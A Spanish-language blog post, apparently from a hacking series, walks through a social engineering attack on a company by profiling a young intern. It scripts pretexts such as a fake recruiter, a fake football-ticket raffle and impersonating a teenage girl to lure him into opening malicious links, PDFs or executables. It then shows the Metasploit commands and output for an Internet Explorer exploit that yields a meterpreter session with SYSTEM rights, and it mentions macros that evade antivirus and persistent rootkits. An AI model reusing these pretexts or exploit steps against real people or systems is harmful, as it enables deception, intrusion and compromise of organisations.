A diferencia de lo que algunos opinan, el hacking no es solamente saber programar y conocer herramientas que permitan realizar pruebas de penetración contra distintos tipos de sistemas, en realidad abarca muchas de las facetas del conocimiento humano, siendo un termino empleado para cualquier persona que tenga gusto por el conocimiento y que disfrute del aprendizaje. En este orden de ideas, la ingeniería social se destaca precisamente en que sus practicantes tienen un profundo conocimiento sobre técnicas relacionadas con la psique humana y conocen bastante bien en que puntos pueden existir limitaciones y posiblemente, vulnerabilidades. De esta forma pueden utilizar a su favor, diferentes características que son inherentes al comportamiento humano y que no tienen ningún tipo de “parche” excepto la educación para poder identificar cuando somos objetivo de una de estas técnicas. A continuación se indica un claro ejemplo del uso de un ataque de ingeniería social contra el factor mas vulnerable de una organización, las personas. Aunque el siguiente ejemplo pueda parecer casi una broma, ha ocurrido “en el mundo real” (aunque los nombres evidentemente han sido alterados). Probablemente os haga gracia.

En primer lugar. Un atacante ha planteado como objetivo de sus practicas, una empresa con un total de más de 5000 profesionales y con una cierta “reputación” de valorar muy poco a sus empleados, esta política era una practica común en dicha “organización” y aplicada por jefes y directivos, por lo tanto era muy probable que existieran muchísimos empleados inconformes con sus condiciones laborales. Después de un proceso de recolección de información minucioso, el atacante ha llevado a cabo el siguiente procedimiento

    1. El cuenta con una máquina en internet (en un hosting) no ha realizado ningún pago utilizando los mecanismos de pago electrónicos convencionales (pago por tarjeta, paypal, etc.) para dicho servicio, en su lugar ha realizado Bitcoin para el pago anónimo. (ver http://bitcoin.org/)
    1. Establece un entorno configurado con MetaSploit Framework para recibir payloads resultantes de la ejecución exitosa de un exploit enviado a una víctima, el proceso de recolección de información sobre la empresa ha sido muy elaborado y exhaustivo, con información personal de sus empleados (direcciones de correo, cuentas en redes sociales, teléfonos de contacto, etc), detalles de la empresa, organigramas, jerarquías de sus empleados, arquitectura de sistemas, software instalado en servidores, servicios en ejecución y el tipo de instalación estándar que realiza el equipo de sistemas a los ordenadores de escritorio de los empleados (Windows XP Profesional SP2) Ademas, los servidores se ejecutan bajo sistemas operativos GNU/Linux distribución Debian Lenny correctamente configurado, estos a su vez no tienen salida a internet, se encuentran aislados al contexto de la red interna y solamente se puede acceder a ellos desde el interior, a excepción de las aplicaciones corporativas (correo electrónico, herramientas para registro de actividades, etc) que se encuentran hospedadas en un servidor dedicado solamente para este propósito y tiene acceso al exterior para empleados y clientes de la empresa.
      Toda esta información ha podido ser capturada utilizando herramientas como Maltego, Anubis y un poco de “Google Hacking” y “Shodan Hacking” (ver Shodan aquí: http://www.shodanhq.com/), las cuales permiten recolectar detalles de personas y empresas en internet utilizando foros, redes sociales, sitios de encuestas, etc. Es impresionante la cantidad de información que los empleados dejan registrados en internet sin ser conscientes de las implicaciones que esto puede tener.
    2. El atacante determina que el factor humano es una de las principales vulnerabilidades de acuerdo a la información recolectada, dado que comprometer y controlar una máquina que se encuentra detrás de las fuertes medidas de seguridad de la empresa, permitirá extender el ataque a otros ordenadores ubicados en el mismo segmento de red, incluyendo, por supuesto, los servidores internos.
    3. Santiago, es un programador externo de 22 años, becario, que intenta finalizar sus estudios y alcanzar por fin su anhelado titulo como ingeniero de sistemas, para conseguir esto solamente le queda por delante finalizar su practica empresarial de la mejor forma posible, sin embargo, durante su carrera universitaria ningún tutor o profesor le advirtió de los riesgos existentes con las técnicas empleadas por ingenieros sociales para manipular, persuadir y generar brechas de seguridad utilizando como arma, principios psicológicos ante los cuales todos los seres humanos somos vulnerables (a menos que se trate de una persona que vive en una isla deshabitada y sin contacto con la sociedad).
    4. En el proceso de recolección de información el atacante ha conseguido definir claramente los gustos de Santiago, de esta forma se ha podido definir su perfil de la siguiente forma:
      1. Soltero sin hijos.
      2. Estudiante de la facultad de ciencias de la información de la universidad XYZ.
      3. No tiene una ideología política definida ademas se define a si mismo como un “ateo practico” de acuerdo con información recolectada de foros en los que ha participado.
      4. Su novia se llama Susana, una chica mexicana de 19 años de edad, estudiante de la facultad de derecho de la misma universidad donde el estudia, con un carácter fuerte pero a su vez muy tierna y delicada (tal como la describe él), Frecuentan juntos bares, restaurantes y cines que se encuentran cerca del barrio donde ella vive.
      5. Es aficionado al fútbol y frecuenta los estadios de su ciudad para ver a su equipo jugar (el ABC) y en ocasiones viaja a otras ciudades siguiendo a su equipo como hincha fiel. Desde los 8 años sigue a dicho equipo y celebra con sus amigos cada victoria.
      6. Es fumador frecuente y bebedor social, suele ir a bares acompañado por su pareja y sus amigos, sin embargo en ocasiones acude solo.
      7. Sus intereses profesionales están centrados principalmente en programación sobre lenguaje Java, actividad a la que dedica la mayor parte de su tiempo buscando mejorar sus habilidades como programador para que de esta forma, su valor como profesional en el mercado sea alto y pueda acceder a puestos con mayores niveles de responsabilidad y obviamente, mejor remunerados.
    5. Con este perfil definido, se pueden establecer distintos mecanismos de ataque, con el fin de comprometer el ordenador que tiene asignado en la empresa, que es el verdadero objetivo. Con esto en mente, es necesario establecer una estrategia que permita captar su interés. El atacante se ha planteado tres escenarios que pueden resultar exitosos:
      1. En horario laboral, establecer contacto telefónico, utilizando como pretexto, ser parte del personal de recursos humanos de una importante multinacional inglesa con proyectos a nivel nacional e internacional que busca ingenieros recién titulados o que se encuentren en proceso de finalización de sus estudios. Pidiéndole solamente que ingrese a la dirección URL que se le indica y que rellene las preguntas del formulario de la página. Dicha dirección tiene un payload malicioso que permitirá obtener una consola reversa. Para hacer el pretexto lo suficientemente creíble, se le indica a la víctima que se ha establecido contacto con él después de un exhaustivo proceso de investigación en búsqueda de jóvenes talentos en las universidades de la ciudad donde el vive, en el caso de que dicho PAYLOAD falle por que utilice un navegador que no sea vulnerable, el atacante tiene preparado un fichero PDF malicioso que intentará explotar algunas de las vulnerabilidades existentes en Adobe Reader.
      2. En horario laboral, establecer contacto por teléfono indicando que ha sido seleccionado para participar en la rifa de una entrada mas acompañante en sitio VIP para la gran final de su equipo favorito, el ABC, solamente es necesario descargar el fichero PDF adjunto a un correo que se le enviará y seguir las pautas que allí se indican. De forma amable y con el uso de un lenguaje asertivo y amigable se le pide que indique la versión de Adobe Reader que dispone en su ordenador para enviar un PDF que se ajuste a los requerimientos de visualización de la versión que tiene instalada en su ordenador. Con esta información se crea un fichero PDF malicioso que aproveche alguna de las múltiples vulnerabilidades encontradas en algunas distribuciones de Adobe Reader (utilizando MetaSploit Framework). Para que este pretexto sea lo suficientemente creíble, el atacante indica que pertenece al equipo de mercadeo del club y que por su “fidelidad” por todos estos años ha sido seleccionado para participar en la rifa y que ademas solamente unas pocas personas han sido seleccionadas, con lo cual las probabilidades de ganar son bastante altas. Por otro lado, también se le indica que su registro se debe realizar de forma inmediata dado que pronto se cerrará el limite de inscripción, el objetivo de esto es generar ansiedad y presión en el objetivo para que no tenga tiempo de dudar.
      3. En horario laboral, establecer contacto por email y/o alguna de las redes sociales que frecuenta como Facebook utilizando como pretexto, ser una chica joven entre 16 y 19 años que comienza sus estudios en informática, que no tiene conocimientos en Java y que desea aprender, ademas para hacer un poco más “creíble” el pretexto, se puede argumentar que ha escuchado de él por algunos amigos, los cuales le han dicho que es un excelente programador, de esta forma también se apela a su orgullo y valía como desarrollador en Java. Se debe generar rápidamente un puente de confianza para intercambiar ficheros y programas (en la medida de lo posible ejecutables) para comprometer la máquina de la víctima. Sin embargo este tipo de ataque es difícil de mantener por mucho tiempo y debe realizarse de forma rápida y preferiblemente en una única sesión, dado que muy probablemente la víctima consulte con sus amigos sobre la supuesta “chica” que ha contactado con él.
    6. Es importante anotar que aunque no todos los detalles del perfil han sido utilizados para crear las estrategias de acercamiento anteriormente descritas, para un ingeniero social lo mas importante es contar con la mayor cantidad de información posible sobre el objetivo que desea atacar para que de esta forma se puedan plantear estrategias de acercamiento y ataque alternativas (generación de planes auxiliares en el caso de que un vector de ataque determinado no produzca resultados). Ayuda bastante conocer el Social Engineering Framework para determinar las mejores técnicas que pueden guiar al éxito. En los 3 esquemas definidos anteriormente, se pueden apreciar algunos factores psicológicos que son inherentes a la condición humana y al comportamiento social estos son:
      1. Deseo de superación.
      2. Deseo de reconocimiento social.
      3. Deseo de ayudar a otros que requieran ayuda.
      4. Deseo de establecer nuevos contactos en el ámbito profesional y/o social.
      5. Deseo de fomentar los espacios lucidos y buscar el disfrute de aficiones y/o gustos.
      6. La sensación de “escasez” de determinados productos y/o servicios que fortalecen el deseo de adquisición de dicho ítem, aunque este a su vez puede que no tenga un valor añadido, el hecho de que se genere la sensación de “escasez”, que tenga una fecha limite o un número de unidades determinado, hace que en la mayoría de los casos las personas sientan ansiedad por obtener y/o consumir dicho ítem antes de que este “expire”. Se trata de una técnica utilizada con bastante frecuencia por vendedores y tele-tiendas con un nivel de éxito aceptable principalmente entre personas con un nivel cultural medio-bajo y un nivel de ingresos medio-alto.
    7. Todos los seres humanos tenemos la necesidad de socializar y de mitigar ciertas necesidades que se encuentran establecidas en nuestro prototipo psicológico, el arte del hacking humano no es algo nuevo, de hecho es algo que ha sido utilizado por hackers maliciosos desde hace varias décadas (un claro ejemplo de esto: Kevin Mitnick).
      En este caso particular el primer método ha sido el que ha tenido éxito. El atacante ha pedido al objetivo que ingrese a una URL que ejecuta un payload malicioso contra exploradores IE.

      msf > use exploit/windows/browser/ms10_018_ie_behaviors

      msf exploit(ms10_018_ie_behaviors) > setg LHOST x.x.x.x

      LHOST => x.x.x.x

      msf exploit(ms10_018_ie_behaviors) > setg LPORT 444

      LPORT => 444

      exploit

      [*] Exploit running as background job.

      [*] Started reverse handler on x.x.x.x:444

      [*] Using URL: http://x.x.x.x:8080/

      [*] Local IP: http://z.z.z.z:8080/

      [*] Server started.

    8. Por medio del contacto telefónico se le ha indicado a la víctima que tienen algunos problemas relacionados con el formulario que debe rellenar, por este motivo debe ingresar desde un navegador IE. La víctima ingresa y puede ver “una página en blanco” mientras que en el otro lado se establece la shell remota representada con una sesión meterpreter de MetaSploit. Su máquina ha sido comprometida, la etapa de pre-explotación ha finalizado con éxito, ahora es necesario seguir con la etapa de post-explotación. Con un tono de voz preocupado y un poco confundido el atacante pide disculpas a la víctima, dado que al parecer existen “problemas técnicos” que deben ser solucionados, por este motivo, se le indica que en breve recibirá nuevamente una llamada o un fichero en MS Office Word en su cuenta de correo con los datos que supuestamente “es necesario que rellene” para poder iniciar un proceso de selección y posterior vinculación con la empresa. Utilizando un lenguaje cordial se le agradece por el tiempo que ha empleado para atender la llamada y se le pide que se mantenga al tanto de un futuro contacto si se reestablece el servicio, o de un correo donde se adjuntará un fichero en formato MS Office Word donde se encuentra el formulario con los campos que debe diligenciar.
    9. Con este pretexto, se crea una “segunda oportunidad” que le permitirá al atacante acceder nuevamente a una consola meterpreter en el caso de que la sesión obtenida sea interrumpida por algún motivo ya que la víctima espera o bien un fichero MS Office o una llamada. El uso de un fichero MS Office con macros maliciosas tiene una ventaja: y es que como se ha indicado en entradas anteriores de esta misma serie de publicaciones, este tipo de ataque no es detectable por los AV.
msf exploit(ms10_018_ie_behaviors) >

[*] Sending Internet Explorer DHTML Behaviors Use After Free to x.x.x.x:1052 (target: IE 6 SP0-SP2 (onclick))…

[*] Sending stage (752128 bytes) to x.x.x.x

[*] Meterpreter session 1 opened (x.x.x.x:444 -> z.z.z.z:1053) at Fri Jul 15 00:08:27 +0200 2011

[*] Session ID 1 (x.x.x.x:444 -> z.z.z.z:1053) processing InitialAutoRunScript ‘migrate -f’

[*] Current server process: IEXPLORE.EXE (1716)

[*] Spawning a notepad.exe host process…

[*] Migrating into process ID 488

[*] New server process: notepad.exe (488)

Interrupt: use the ‘exit’ command to quit

msf exploit(ms10_018_ie_behaviors) > sessions

Active sessions

===============

Id Type Information Connection

— —- ———– ———-

1 meterpreter x86/win32 VULNERAB-2E7B1C\vulnerable @ VULNERAB-2E7B1C x.x.x.x:444 -> z.z.z.z:1053

msf exploit(ms10_018_ie_behaviors) > sessions -i 1

[*] Starting interaction with 1…

meterpreter > getsystem

…got system (via technique 1).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

El proceso de pre-explotación ha terminado, el ataque de ingeniería social ha funcionado. Ahora el atacante puede continuar con un ataque de post-explotación con el fin de comprometer otros ordenadores en la red interna y garantizar el acceso a los mismos por medio del uso de Rootkits y otras herramientas relacionadas para establecer puertas traseras persistentes.

Game over.